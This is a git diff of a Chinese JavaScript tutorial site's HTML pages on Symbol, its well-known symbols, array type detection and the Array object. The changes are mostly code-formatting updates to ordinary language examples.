                                                                                                            JavaScript 完全知识体系

                                                                                                            Symbol

                                                                                                            Symbol 数据类型是一种原始数据类型,该类型的性质在于这个类型的值可以用来创建匿名的对象属性。

                                                                                                            类型特性

                                                                                                            类型检测

                                                                                                            Symbol 值只能通过 Symbol 函数生成。 Symbol 类型的值作为对象属性名可以保证不会与其他属性名不产生冲突。

                                                                                                            const symbol = Symbol();
                                                                                                            -
                                                                                                            typeof symbol;
                                                                                                            // 'symbol'

                                                                                                            无法实例化

                                                                                                            注意,Symbol 函数前不能使用 new 命令实例化,否则会报错。这是因为生成的 Symbol 是一个原始类型的值,不是对象。也就是说,由于 Symbol 值不是对象,所以不能添加属性。基本上,它是一种类似于字符串的数据类型。

                                                                                                            new Symbol('symbol');
                                                                                                            // TypeError: Symbol is not a constructor

                                                                                                            原型检测

                                                                                                            使用 instanceof 检测实例与 Symbol 之间的关系。

                                                                                                            const symbol = Symbol('foo');
                                                                                                            +

                                                                                                            JavaScript Guidebook

                                                                                                            JavaScript 完全知识体系

                                                                                                            Symbol

                                                                                                            Symbol 数据类型是一种原始数据类型,该类型的性质在于这个类型的值可以用来创建 匿名 的对象属性。

                                                                                                            类型声明

                                                                                                            interface SymbolConstructor {
                                                                                                            readonly prototype: Symbol;
                                                                                                            +
                                                                                                            (descriptioon?: string | number): symbol;
                                                                                                            +
                                                                                                            for(key: string): symbol;
                                                                                                            +
                                                                                                            keyFor(sym: symbol): string | undefined;
                                                                                                            }
                                                                                                            +
                                                                                                            declare var Symbol: SymbolConstructor;

                                                                                                            类型特性

                                                                                                            类型检测

                                                                                                            Symbol 值只能通过 Symbol 函数生成。 Symbol 类型的值作为对象属性名可以保证不会与其他属性名不产生冲突。

                                                                                                            const symbol = Symbol();
                                                                                                            +
                                                                                                            console.log(typeof symbol);
                                                                                                            // Output: 'symbol'

                                                                                                            无法实例化

                                                                                                            注意,Symbol 函数前不能使用 new 命令实例化,否则会报错。这是因为生成的 Symbol 是一个原始类型的值,不是对象。也就是说,由于 Symbol 值不是对象,所以不能添加属性。基本上,它是一种类似于字符串的数据类型。

                                                                                                            new Symbol('symbol');
                                                                                                            // TypeError: Symbol is not a constructor

                                                                                                            原型检测

                                                                                                            使用 instanceof 检测实例与 Symbol 之间的关系。

                                                                                                            const symbol = Symbol('foo');
                                                                                                            console.log(symbol instanceof Symbol);
                                                                                                            // false

                                                                                                            实例描述

                                                                                                            Symbol 函数可以接受一个字符串作为参数,表示对 Symbol 实例的描述,主要是为了在控制台显示,或者转为字符串时,比较容易区分。

                                                                                                            如果 Symbol 的参数是一个对象,就会调用该对象的 toString 方法,将其转为字符串,然后才生成一个 Symbol 值。

                                                                                                            const obj = {
                                                                                                            toString() {
                                                                                                            return 'abc';
                                                                                                            },
                                                                                                            };
                                                                                                            const sym = Symbol(obj);
                                                                                                            console.log(sym);
                                                                                                            // Symbol(abc)

                                                                                                            相同描述

                                                                                                            注意,Symbol 函数的参数只是表示对当前 Symbol 值的描述,因此 相同参数Symbol 函数的返回值是不相等的。

                                                                                                            // 没有参数的情况
                                                                                                            let s1 = Symbol();
                                                                                                            let s2 = Symbol();
                                                                                                            @@ -59,21 +66,21 @@
                                                                                                            s1 === s2;
                                                                                                            // false
                                                                                                            s3 === s4;
                                                                                                            // true
                                                                                                            s1 === s3;
                                                                                                            // false

                                                                                                            Symbol.keyFor()

                                                                                                            Symbol.keyFor 方法用于获取 Symbol 注册表中指定的 Symbol 值关联的键。

                                                                                                            Symbol.keyFor(sym);

                                                                                                            参数 sym 为存储在 Symbol 注册表中的某个 Symbol 实例。

                                                                                                            const s1 = Symbol.for('s1');
                                                                                                            Symbol.keyFor(globalSym);
                                                                                                            // 's1'
                                                                                                            -
                                                                                                            const s2 = Symbol();
                                                                                                            Symbol.keyFor(s2);
                                                                                                            // undefined

                                                                                                            ⚠️ 注意,这个函数用于查找一个 Symbol 值的注册信息的,如果你使用 Symbol 函数创建的 Symbol 值,不论你传不传递参数,通过 Symbol.keyFor() 函数是查不到它的注册信息的。也就是说,通过 Symbol() 函数产生的 Symbol 值是没户口的孩子。但是通过 Symbol.for() 函数产生的 Symbol 值都是可以查到注册信息的。

                                                                                                            内置值

                                                                                                            除了自定义的 Symbol 值以外,ES6 还提供了 11 个内置的 Symbol 值,指向语言内部使用的方法。

                                                                                                            手写实现

                                                                                                            手动实现 Symbol:

                                                                                                            (function() {
                                                                                                            var root = this;
                                                                                                            -
                                                                                                            var generateName = (function() {
                                                                                                            var postfix = 0;
                                                                                                            return function(descString) {
                                                                                                            postfix++;
                                                                                                            return '@@' + descString + '_' + postfix;
                                                                                                            };
                                                                                                            })();
                                                                                                            +
                                                                                                            const s2 = Symbol();
                                                                                                            Symbol.keyFor(s2);
                                                                                                            // undefined

                                                                                                            ⚠️ 注意,这个函数用于查找一个 Symbol 值的注册信息的,如果你使用 Symbol 函数创建的 Symbol 值,不论你传不传递参数,通过 Symbol.keyFor() 函数是查不到它的注册信息的。也就是说,通过 Symbol() 函数产生的 Symbol 值是没户口的孩子。但是通过 Symbol.for() 函数产生的 Symbol 值都是可以查到注册信息的。

                                                                                                            内置值

                                                                                                            除了自定义的 Symbol 值以外,ES6 还提供了 11 个内置的 Symbol 值,指向语言内部使用的方法。

                                                                                                            手写实现

                                                                                                            手动实现 Symbol:

                                                                                                            (function () {
                                                                                                            var root = this;
                                                                                                            +
                                                                                                            var generateName = (function () {
                                                                                                            var postfix = 0;
                                                                                                            return function (descString) {
                                                                                                            postfix++;
                                                                                                            return '@@' + descString + '_' + postfix;
                                                                                                            };
                                                                                                            })();
                                                                                                            var SymbolPolyfill = function Symbol(description) {
                                                                                                            if (this instanceof SymbolPolyfill) throw new TypeError('Symbol is not a constructor');
                                                                                                            var descString = description === undefined ? undefined : String(description);
                                                                                                            -
                                                                                                            var symbol = Object.create({
                                                                                                            toString: function() {
                                                                                                            return this.__Name__;
                                                                                                            },
                                                                                                            valueOf: function() {
                                                                                                            return this;
                                                                                                            },
                                                                                                            });
                                                                                                            +
                                                                                                            var symbol = Object.create({
                                                                                                            toString: function () {
                                                                                                            return this.__Name__;
                                                                                                            },
                                                                                                            valueOf: function () {
                                                                                                            return this;
                                                                                                            },
                                                                                                            });
                                                                                                            Object.defineProperties(symbol, {
                                                                                                            __Description__: {
                                                                                                            value: descString,
                                                                                                            writable: false,
                                                                                                            enumerable: false,
                                                                                                            configurable: false,
                                                                                                            },
                                                                                                            __Name__: {
                                                                                                            value: generateName(descString),
                                                                                                            writable: false,
                                                                                                            enumerable: false,
                                                                                                            configurable: false,
                                                                                                            },
                                                                                                            });
                                                                                                            return symbol;
                                                                                                            };
                                                                                                            var forMap = {};
                                                                                                            -
                                                                                                            Object.defineProperties(SymbolPolyfill, {
                                                                                                            for: {
                                                                                                            value: function(description) {
                                                                                                            var descString = description === undefined ? undefined : String(description);
                                                                                                            return forMap[descString]
                                                                                                            ? forMap[descString]
                                                                                                            : (forMap[descString] = SymbolPolyfill(descString));
                                                                                                            },
                                                                                                            writable: true,
                                                                                                            enumerable: false,
                                                                                                            configurable: true,
                                                                                                            },
                                                                                                            keyFor: {
                                                                                                            value: function(symbol) {
                                                                                                            for (var key in forMap) {
                                                                                                            if (forMap[key] === symbol) return key;
                                                                                                            }
                                                                                                            },
                                                                                                            writable: true,
                                                                                                            enumerable: false,
                                                                                                            configurable: true,
                                                                                                            },
                                                                                                            });
                                                                                                            -
                                                                                                            root.SymbolPolyfill = SymbolPolyfill;
                                                                                                            })();

                                                                                                            无法实现特性:

                                                                                                            1. 使用 typeof,结果为 "symbol"。利用 ES5,我们并不能修改 typeof 操作符的结果,所以无法实现
                                                                                                            2. Symbol 函数可以接受一个字符串作为参数,表示对 Symbol 实例的描述,主要是为了在控制台显示,或者转为字符串时,比较容易区分
                                                                                                            3. Symbol 值不能与其他类型的值进行运算,会报错
                                                                                                            4. Symbol 值可以显式转为字符串
                                                                                                            5. Symbol 作为属性名,该属性不会出现在 for...infor...of 循环中,也不会被 Object.keys()Object.getOwnPropertyNames()JSON.stringify() 返回

                                                                                                            总结

                                                                                                            • Symbol 值只能通过 Symbol() 函数生成
                                                                                                            • Symbol() 的参数只是表示对当前 Symbol 值的描述,相同参数调用返回值不相等
                                                                                                            • Symbol 函数前不能使用 new 命令
                                                                                                            • 对象的属性名可以为 Symbol 类型,能避免对象属性重名
                                                                                                            • Symbol 值作为对象属性名不能用点运算符

                                                                                                            应用场景:

                                                                                                            1. 利用 Symbol 值的唯一特性,作为类库某些对象的属性名,这样可以避免使用者命名冲突导致的覆盖问题

                                                                                                            参考资料:

                                                                                                            +
                                                                                                            Object.defineProperties(SymbolPolyfill, {
                                                                                                            for: {
                                                                                                            value: function (description) {
                                                                                                            var descString = description === undefined ? undefined : String(description);
                                                                                                            return forMap[descString]
                                                                                                            ? forMap[descString]
                                                                                                            : (forMap[descString] = SymbolPolyfill(descString));
                                                                                                            },
                                                                                                            writable: true,
                                                                                                            enumerable: false,
                                                                                                            configurable: true,
                                                                                                            },
                                                                                                            keyFor: {
                                                                                                            value: function (symbol) {
                                                                                                            for (var key in forMap) {
                                                                                                            if (forMap[key] === symbol) return key;
                                                                                                            }
                                                                                                            },
                                                                                                            writable: true,
                                                                                                            enumerable: false,
                                                                                                            configurable: true,
                                                                                                            },
                                                                                                            });
                                                                                                            +
                                                                                                            root.SymbolPolyfill = SymbolPolyfill;
                                                                                                            })();

                                                                                                            无法实现特性:

                                                                                                            1. 使用 typeof,结果为 "symbol"。利用 ES5,我们并不能修改 typeof 操作符的结果,所以无法实现
                                                                                                            2. Symbol 函数可以接受一个字符串作为参数,表示对 Symbol 实例的描述,主要是为了在控制台显示,或者转为字符串时,比较容易区分
                                                                                                            3. Symbol 值不能与其他类型的值进行运算,会报错
                                                                                                            4. Symbol 值可以显式转为字符串
                                                                                                            5. Symbol 作为属性名,该属性不会出现在 for...infor...of 循环中,也不会被 Object.keys()Object.getOwnPropertyNames()JSON.stringify() 返回

                                                                                                            总结

                                                                                                            • Symbol 值只能通过 Symbol() 函数生成
                                                                                                            • Symbol() 的参数只是表示对当前 Symbol 值的描述,相同参数调用返回值不相等
                                                                                                            • Symbol 函数前不能使用 new 命令
                                                                                                            • 对象的属性名可以为 Symbol 类型,能避免对象属性重名
                                                                                                            • Symbol 值作为对象属性名不能用点运算符

                                                                                                            应用场景:

                                                                                                            1. 利用 Symbol 值的唯一特性,作为类库某些对象的属性名,这样可以避免使用者命名冲突导致的覆盖问题

                                                                                                            参考资料

                                                                                                            - + diff --git a/standard-built-in-objects/fundamental-objects/symbol/to-primitive/index.html b/standard-built-in-objects/fundamental-objects/symbol/to-primitive/index.html index bc547eae0..d1403833d 100644 --- a/standard-built-in-objects/fundamental-objects/symbol/to-primitive/index.html +++ b/standard-built-in-objects/fundamental-objects/symbol/to-primitive/index.html @@ -7,34 +7,37 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + Symbol.toPrimitive - JavaScript Guidebook -

                                                                                                            JavaScript Guidebook

                                                                                                            JavaScript 完全知识体系

                                                                                                              Symbol.toPrimitive

                                                                                                              对象的Symbol.toPrimitive属性,指向一个方法。该对象被转为原始类型的值时,会调用这个方法,返回该对象对应的原始类型值。

                                                                                                              Symbol.toPrimitive被调用时,会接受一个字符串参数,表示当前运算的模式,一共有三种模式。

                                                                                                              • Number:该场合需要转成数值
                                                                                                              • String:该场合需要转成字符串
                                                                                                              • Default:该场合可以转成数值,也可以转成字符串
                                                                                                              let obj = {
                                                                                                              [Symbol.toPrimitive](hint) {
                                                                                                              switch (hint) {
                                                                                                              case 'number':
                                                                                                              return 123;
                                                                                                              case 'string':
                                                                                                              return 'str';
                                                                                                              case 'default':
                                                                                                              return 'default';
                                                                                                              default:
                                                                                                              throw new Error();
                                                                                                              }
                                                                                                              },
                                                                                                              };
                                                                                                              -
                                                                                                              2 * obj; // 246
                                                                                                              3 + obj; // '3default'
                                                                                                              obj == 'default'; // true
                                                                                                              String(obj); // 'str'
                                                                                                              +

                                                                                                              JavaScript Guidebook

                                                                                                              JavaScript 完全知识体系

                                                                                                                Symbol.toPrimitive

                                                                                                                对象的Symbol.toPrimitive属性,指向一个方法。该对象被转为原始类型的值时,会调用这个方法,返回该对象对应的原始类型值。

                                                                                                                Symbol.toPrimitive被调用时,会接受一个字符串参数,表示当前运算的模式,一共有三种模式。

                                                                                                                • Number:该场合需要转成数值
                                                                                                                • String:该场合需要转成字符串
                                                                                                                • Default:该场合可以转成数值,也可以转成字符串
                                                                                                                let obj = {
                                                                                                                [Symbol.toPrimitive](hint) {
                                                                                                                switch (hint) {
                                                                                                                case 'number':
                                                                                                                return 123;
                                                                                                                case 'string':
                                                                                                                return 'str';
                                                                                                                case 'default':
                                                                                                                return 'default';
                                                                                                                default:
                                                                                                                throw new Error();
                                                                                                                }
                                                                                                                },
                                                                                                                };
                                                                                                                +
                                                                                                                2 * obj; // 246
                                                                                                                3 + obj; // '3default'
                                                                                                                obj == 'default'; // true
                                                                                                                String(obj); // 'str'
                                                                                                                - + diff --git a/standard-built-in-objects/fundamental-objects/symbol/to-string-tag/index.html b/standard-built-in-objects/fundamental-objects/symbol/to-string-tag/index.html index 95ae2e292..028b6fd45 100644 --- a/standard-built-in-objects/fundamental-objects/symbol/to-string-tag/index.html +++ b/standard-built-in-objects/fundamental-objects/symbol/to-string-tag/index.html @@ -7,34 +7,37 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + Symbol.toStringTag - JavaScript Guidebook -

                                                                                                                JavaScript Guidebook

                                                                                                                JavaScript 完全知识体系

                                                                                                                  Symbol.toStringTag

                                                                                                                  对象的Symbol.toStringTag属性,指向一个方法。在该对象上面调用Object.prototype.toString方法时,如果这个属性存在,它的返回值会出现在toString方法返回的字符串之中,表示对象的类型。也就是说,这个属性可以用来定制[object Object][object Array]object后面的那个字符串。

                                                                                                                  // 例一
                                                                                                                  ({ [Symbol.toStringTag]: 'Foo' }.toString());
                                                                                                                  // "[object Foo]"
                                                                                                                  -
                                                                                                                  // 例二
                                                                                                                  class Collection {
                                                                                                                  get [Symbol.toStringTag]() {
                                                                                                                  return 'xxx';
                                                                                                                  }
                                                                                                                  }
                                                                                                                  let x = new Collection();
                                                                                                                  Object.prototype.toString.call(x); // "[object xxx]"

                                                                                                                  ES6 新增内置对象的Symbol.toStringTag属性值如下。

                                                                                                                  • JSON[Symbol.toStringTag]:'JSON'
                                                                                                                  • Math[Symbol.toStringTag]:'Math'
                                                                                                                  • Module 对象M[Symbol.toStringTag]:'Module'
                                                                                                                  • ArrayBuffer.prototype[Symbol.toStringTag]:'ArrayBuffer'
                                                                                                                  • DataView.prototype[Symbol.toStringTag]:'DataView'
                                                                                                                  • Map.prototype[Symbol.toStringTag]:'Map'
                                                                                                                  • Promise.prototype[Symbol.toStringTag]:'Promise'
                                                                                                                  • Set.prototype[Symbol.toStringTag]:'Set'
                                                                                                                  • %TypedArray%.prototype[Symbol.toStringTag]:'Uint8Array'等
                                                                                                                  • WeakMap.prototype[Symbol.toStringTag]:'WeakMap'
                                                                                                                  • WeakSet.prototype[Symbol.toStringTag]:'WeakSet'
                                                                                                                  • %MapIteratorPrototype%[Symbol.toStringTag]:'Map Iterator'
                                                                                                                  • %SetIteratorPrototype%[Symbol.toStringTag]:'Set Iterator'
                                                                                                                  • %StringIteratorPrototype%[Symbol.toStringTag]:'String Iterator'
                                                                                                                  • Symbol.prototype[Symbol.toStringTag]:'Symbol'
                                                                                                                  • Generator.prototype[Symbol.toStringTag]:'Generator'
                                                                                                                  • GeneratorFunction.prototype[Symbol.toStringTag]:'GeneratorFunction'
                                                                                                                  +

                                                                                                                  JavaScript Guidebook

                                                                                                                  JavaScript 完全知识体系

                                                                                                                    Symbol.toStringTag

                                                                                                                    对象的Symbol.toStringTag属性,指向一个方法。在该对象上面调用Object.prototype.toString方法时,如果这个属性存在,它的返回值会出现在toString方法返回的字符串之中,表示对象的类型。也就是说,这个属性可以用来定制[object Object][object Array]object后面的那个字符串。

                                                                                                                    // 例一
                                                                                                                    ({ [Symbol.toStringTag]: 'Foo' }.toString());
                                                                                                                    // "[object Foo]"
                                                                                                                    +
                                                                                                                    // 例二
                                                                                                                    class Collection {
                                                                                                                    get [Symbol.toStringTag]() {
                                                                                                                    return 'xxx';
                                                                                                                    }
                                                                                                                    }
                                                                                                                    let x = new Collection();
                                                                                                                    Object.prototype.toString.call(x); // "[object xxx]"

                                                                                                                    ES6 新增内置对象的Symbol.toStringTag属性值如下。

                                                                                                                    • JSON[Symbol.toStringTag]:'JSON'
                                                                                                                    • Math[Symbol.toStringTag]:'Math'
                                                                                                                    • Module 对象M[Symbol.toStringTag]:'Module'
                                                                                                                    • ArrayBuffer.prototype[Symbol.toStringTag]:'ArrayBuffer'
                                                                                                                    • DataView.prototype[Symbol.toStringTag]:'DataView'
                                                                                                                    • Map.prototype[Symbol.toStringTag]:'Map'
                                                                                                                    • Promise.prototype[Symbol.toStringTag]:'Promise'
                                                                                                                    • Set.prototype[Symbol.toStringTag]:'Set'
                                                                                                                    • %TypedArray%.prototype[Symbol.toStringTag]:'Uint8Array'等
                                                                                                                    • WeakMap.prototype[Symbol.toStringTag]:'WeakMap'
                                                                                                                    • WeakSet.prototype[Symbol.toStringTag]:'WeakSet'
                                                                                                                    • %MapIteratorPrototype%[Symbol.toStringTag]:'Map Iterator'
                                                                                                                    • %SetIteratorPrototype%[Symbol.toStringTag]:'Set Iterator'
                                                                                                                    • %StringIteratorPrototype%[Symbol.toStringTag]:'String Iterator'
                                                                                                                    • Symbol.prototype[Symbol.toStringTag]:'Symbol'
                                                                                                                    • Generator.prototype[Symbol.toStringTag]:'Generator'
                                                                                                                    • GeneratorFunction.prototype[Symbol.toStringTag]:'GeneratorFunction'
                                                                                                                    - + diff --git a/standard-built-in-objects/fundamental-objects/symbol/unscopables/index.html b/standard-built-in-objects/fundamental-objects/symbol/unscopables/index.html index aa47de777..db60be099 100644 --- a/standard-built-in-objects/fundamental-objects/symbol/unscopables/index.html +++ b/standard-built-in-objects/fundamental-objects/symbol/unscopables/index.html @@ -7,39 +7,42 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + Symbol.unscopables - JavaScript Guidebook -

                                                                                                                    JavaScript Guidebook

                                                                                                                    JavaScript 完全知识体系

                                                                                                                      Symbol.unscopables

                                                                                                                      对象的Symbol.unscopables属性,指向一个对象。该对象指定了使用with关键字时,哪些属性会被with环境排除。

                                                                                                                      Array.prototype[Symbol.unscopables];
                                                                                                                      // {
                                                                                                                      // copyWithin: true,
                                                                                                                      // entries: true,
                                                                                                                      // fill: true,
                                                                                                                      // find: true,
                                                                                                                      // findIndex: true,
                                                                                                                      // includes: true,
                                                                                                                      // keys: true
                                                                                                                      // }
                                                                                                                      +

                                                                                                                      JavaScript Guidebook

                                                                                                                      JavaScript 完全知识体系

                                                                                                                        Symbol.unscopables

                                                                                                                        对象的Symbol.unscopables属性,指向一个对象。该对象指定了使用with关键字时,哪些属性会被with环境排除。

                                                                                                                        Array.prototype[Symbol.unscopables];
                                                                                                                        // {
                                                                                                                        // copyWithin: true,
                                                                                                                        // entries: true,
                                                                                                                        // fill: true,
                                                                                                                        // find: true,
                                                                                                                        // findIndex: true,
                                                                                                                        // includes: true,
                                                                                                                        // keys: true
                                                                                                                        // }
                                                                                                                        Object.keys(Array.prototype[Symbol.unscopables]);
                                                                                                                        // ['copyWithin', 'entries', 'fill', 'find', 'findIndex', 'includes', 'keys']

                                                                                                                        上面代码说明,数组有 7 个属性,会被with命令排除。

                                                                                                                        // 没有 unscopables 时
                                                                                                                        class MyClass {
                                                                                                                        foo() {
                                                                                                                        return 1;
                                                                                                                        }
                                                                                                                        }
                                                                                                                        var foo = function() {
                                                                                                                        return 2;
                                                                                                                        };
                                                                                                                        with (MyClass.prototype) {
                                                                                                                        foo(); // 1
                                                                                                                        }
                                                                                                                        // 有 unscopables 时
                                                                                                                        class MyClass {
                                                                                                                        foo() {
                                                                                                                        return 1;
                                                                                                                        }
                                                                                                                        get [Symbol.unscopables]() {
                                                                                                                        return { foo: true };
                                                                                                                        }
                                                                                                                        }
                                                                                                                        var foo = function() {
                                                                                                                        return 2;
                                                                                                                        };
                                                                                                                        -
                                                                                                                        with (MyClass.prototype) {
                                                                                                                        foo(); // 2
                                                                                                                        }

                                                                                                                        上面代码通过指定Symbol.unscopables属性,使得with语法块不会在当前作用域寻找foo属性,即foo将指向外层作用域的变量。

                                                                                                                        +
                                                                                                                        with (MyClass.prototype) {
                                                                                                                        foo(); // 2
                                                                                                                        }

                                                                                                                        上面代码通过指定Symbol.unscopables属性,使得with语法块不会在当前作用域寻找foo属性,即foo将指向外层作用域的变量。

                                                                                                                        - + diff --git a/standard-built-in-objects/index.html b/standard-built-in-objects/index.html index 04aa47269..01b841edb 100644 --- a/standard-built-in-objects/index.html +++ b/standard-built-in-objects/index.html @@ -7,33 +7,36 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + 标准内置对象 - JavaScript Guidebook -

                                                                                                                        JavaScript Guidebook

                                                                                                                        JavaScript 完全知识体系

                                                                                                                          标准内置对象

                                                                                                                          标准内置对象 Standard Built-in Objects

                                                                                                                          +

                                                                                                                          JavaScript Guidebook

                                                                                                                          JavaScript 完全知识体系

                                                                                                                            标准内置对象

                                                                                                                            标准内置对象 Standard Built-in Objects

                                                                                                                            - + diff --git a/standard-built-in-objects/indexed-collections/array/array-detection/index.html b/standard-built-in-objects/indexed-collections/array/array-detection/index.html index 691f6d8f3..3411945ae 100644 --- a/standard-built-in-objects/indexed-collections/array/array-detection/index.html +++ b/standard-built-in-objects/indexed-collections/array/array-detection/index.html @@ -7,33 +7,36 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + 数组检测 - JavaScript Guidebook -

                                                                                                                            JavaScript Guidebook

                                                                                                                            JavaScript 完全知识体系

                                                                                                                            数组检测

                                                                                                                            常用的变量是否为数组类型的检测方法通常有五种

                                                                                                                            • typeof 操作符
                                                                                                                            • instanceof 操作符
                                                                                                                            • 数组对象的构造函数
                                                                                                                            • Array.isArray()
                                                                                                                            • Object.prototype.toString()

                                                                                                                            typeof 操作符

                                                                                                                            var arr = [1,2,3,4]
                                                                                                                            console.log(typeof arr); // 'object'

                                                                                                                            这种方法对于一些常用的类型来说那算是毫无压力,比如Function、String、Number、Undefined等,但是要是检测Array的对象就不起作用了。 利用typeof除了array和null判断为object外,其他的都可以正常判断。

                                                                                                                            instanceof 操作符

                                                                                                                            var arr = [1,2,3,4,5];
                                                                                                                            console.log(arr instanceof Array); // true

                                                                                                                            这个操作符和JavaScript中面向对象有点关系,了解这个就先得了解JavaScript中的面向对象。因为这个操作符是检测对象的原型链是否指向构造函数的prototype对象的。

                                                                                                                            数组对象的构造函数

                                                                                                                            var arr = [1,2,3,4];
                                                                                                                            console.log(arr.__proto__.constructor == Array); // true
                                                                                                                            console.log(arr.constructor == Array); // true

                                                                                                                            在IE早期版本里面 __proto__ 是没有定义的,而且,仍然有局限性。 instanceofconstructor 的问题在于,它假定单一的全局执行环境。如果网页中包含多个框架,那实际上就存在两个以上不同的全局执行环境,从而存在连个以上不同版本的Array 构造函数。如果你从一个人框架向另一个框架传入一个数组,那么传入的数组与在第二个框架中原生创建的数组分别具有各自不同的构造函数。

                                                                                                                            var iframe = document.createElement('iframe'); // 创建iframe
                                                                                                                            document.body.appendChild(iframe); // 添加到body中
                                                                                                                            xArray = window.frames[window.frames.length-1].Array;
                                                                                                                            var arr = new xArray(1,2,3); // 声明数组[1,2,3];
                                                                                                                            console.log(arr instanceof Array); // false
                                                                                                                            console.log(arr.constructor === Array); // false

                                                                                                                            Array.isArray()

                                                                                                                            var arr = [1,2,3,4,5];
                                                                                                                            console.log(Array.isArray(arr)); // true

                                                                                                                            Object.prototype.toString(通用方法)

                                                                                                                            Object.prototype.toString的行为:首先,取得对象的一个内部属性[[Class]],然后依据这个属性,返回一个类似于"[object Array]"的字符串作为结果(看过ECMA标准的应该都知道,[[]]用来表示语言内部用到的、外部不可直接访问的属性,称为“内部属性”)。利用这 个方法,再配合call,我们可以取得任何对象的内部属性[[Class]],然后把类型检测转化为字符串比较,以达到我们的目的。

                                                                                                                            var arr = [1,2,3,4,5];
                                                                                                                            function isArray(item){
                                                                                                                            return Object.prototype.toString.call(item) === '[object Array]';
                                                                                                                            }
                                                                                                                            console.log(isArray(arr)); //

                                                                                                                            call改变toString的this引用为待检测的对象,返回此对象的字符串表示,然后对比此字符串是否是 '[object Array]',以判断其是否是Array的实例。为什么不直接 o.toString()? 嗯,虽然Array继承自Object,也会有 toString方法,但是这个方法有可能会被改写而达不到我们的要求,而Object.prototype则是老虎的屁股,很少有人敢去碰它的,所以能一定程度保证其“纯洁性”:)

                                                                                                                            JavaScript 标准文档中定义: [[Class]] 的值只可能是下面字符串中的一个: Arguments, Array, Boolean, Date, Error, Function, JSON, Math, Number, Object, RegExp, String. 这种方法在识别内置对象时往往十分有用,但对于自定义对象请不要使用这种方法。

                                                                                                                            +

                                                                                                                            JavaScript Guidebook

                                                                                                                            JavaScript 完全知识体系

                                                                                                                            数组检测

                                                                                                                            常用的变量是否为数组类型的检测方法通常有五种

                                                                                                                            • typeof 操作符
                                                                                                                            • instanceof 操作符
                                                                                                                            • 数组对象的构造函数
                                                                                                                            • Array.isArray()
                                                                                                                            • Object.prototype.toString()

                                                                                                                            typeof 操作符

                                                                                                                            var arr = [1,2,3,4]
                                                                                                                            console.log(typeof arr); // 'object'

                                                                                                                            这种方法对于一些常用的类型来说那算是毫无压力,比如Function、String、Number、Undefined等,但是要是检测Array的对象就不起作用了。 利用typeof除了array和null判断为object外,其他的都可以正常判断。

                                                                                                                            instanceof 操作符

                                                                                                                            var arr = [1,2,3,4,5];
                                                                                                                            console.log(arr instanceof Array); // true

                                                                                                                            这个操作符和JavaScript中面向对象有点关系,了解这个就先得了解JavaScript中的面向对象。因为这个操作符是检测对象的原型链是否指向构造函数的prototype对象的。

                                                                                                                            数组对象的构造函数

                                                                                                                            var arr = [1,2,3,4];
                                                                                                                            console.log(arr.__proto__.constructor == Array); // true
                                                                                                                            console.log(arr.constructor == Array); // true

                                                                                                                            在IE早期版本里面 __proto__ 是没有定义的,而且,仍然有局限性。 instanceofconstructor 的问题在于,它假定单一的全局执行环境。如果网页中包含多个框架,那实际上就存在两个以上不同的全局执行环境,从而存在连个以上不同版本的Array 构造函数。如果你从一个人框架向另一个框架传入一个数组,那么传入的数组与在第二个框架中原生创建的数组分别具有各自不同的构造函数。

                                                                                                                            var iframe = document.createElement('iframe'); // 创建iframe
                                                                                                                            document.body.appendChild(iframe); // 添加到body中
                                                                                                                            xArray = window.frames[window.frames.length-1].Array;
                                                                                                                            var arr = new xArray(1,2,3); // 声明数组[1,2,3];
                                                                                                                            console.log(arr instanceof Array); // false
                                                                                                                            console.log(arr.constructor === Array); // false

                                                                                                                            Array.isArray()

                                                                                                                            var arr = [1,2,3,4,5];
                                                                                                                            console.log(Array.isArray(arr)); // true

                                                                                                                            Object.prototype.toString(通用方法)

                                                                                                                            Object.prototype.toString的行为:首先,取得对象的一个内部属性[[Class]],然后依据这个属性,返回一个类似于"[object Array]"的字符串作为结果(看过ECMA标准的应该都知道,[[]]用来表示语言内部用到的、外部不可直接访问的属性,称为“内部属性”)。利用这 个方法,再配合call,我们可以取得任何对象的内部属性[[Class]],然后把类型检测转化为字符串比较,以达到我们的目的。

                                                                                                                            var arr = [1,2,3,4,5];
                                                                                                                            function isArray(item){
                                                                                                                            return Object.prototype.toString.call(item) === '[object Array]';
                                                                                                                            }
                                                                                                                            console.log(isArray(arr)); //

                                                                                                                            call改变toString的this引用为待检测的对象,返回此对象的字符串表示,然后对比此字符串是否是 '[object Array]',以判断其是否是Array的实例。为什么不直接 o.toString()? 嗯,虽然Array继承自Object,也会有 toString方法,但是这个方法有可能会被改写而达不到我们的要求,而Object.prototype则是老虎的屁股,很少有人敢去碰它的,所以能一定程度保证其“纯洁性”:)

                                                                                                                            JavaScript 标准文档中定义: [[Class]] 的值只可能是下面字符串中的一个: Arguments, Array, Boolean, Date, Error, Function, JSON, Math, Number, Object, RegExp, String. 这种方法在识别内置对象时往往十分有用,但对于自定义对象请不要使用这种方法。

                                                                                                                            - + diff --git a/standard-built-in-objects/indexed-collections/array/array/index.html b/standard-built-in-objects/indexed-collections/array/array/index.html index 1239578ee..6de145e51 100644 --- a/standard-built-in-objects/indexed-collections/array/array/index.html +++ b/standard-built-in-objects/indexed-collections/array/array/index.html @@ -7,30 +7,33 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + Array - JavaScript Guidebook -

                                                                                                                            JavaScript Guidebook

                                                                                                                            JavaScript 完全知识体系

                                                                                                                            Array 对象

                                                                                                                            Array 对象时用于构造数组的全局对象,类似时类似于列表的高阶对象。

                                                                                                                            Array 对象主要用于存储多个数据项,数据可以是任意类型。

                                                                                                                            所有主流浏览器均支持该对象。

                                                                                                                            语法

                                                                                                                            字面量

                                                                                                                            [element0, element1, ..., elementN]

                                                                                                                            数组类型转换函数

                                                                                                                            Array(element0, element1, ..., elementN)

                                                                                                                            构造函数

                                                                                                                            new Array(element0, element1, ..., elementN)
                                                                                                                            -
                                                                                                                            new Array(arrayLength)

                                                                                                                            类型声明:

                                                                                                                            interface ArrayConstructor {
                                                                                                                            new (arrayLength?: number): any[];
                                                                                                                            new <T>(arrayLength: number): T[];
                                                                                                                            new <T>(...items: T[]): T[];
                                                                                                                            (arrayLength?: number): any[];
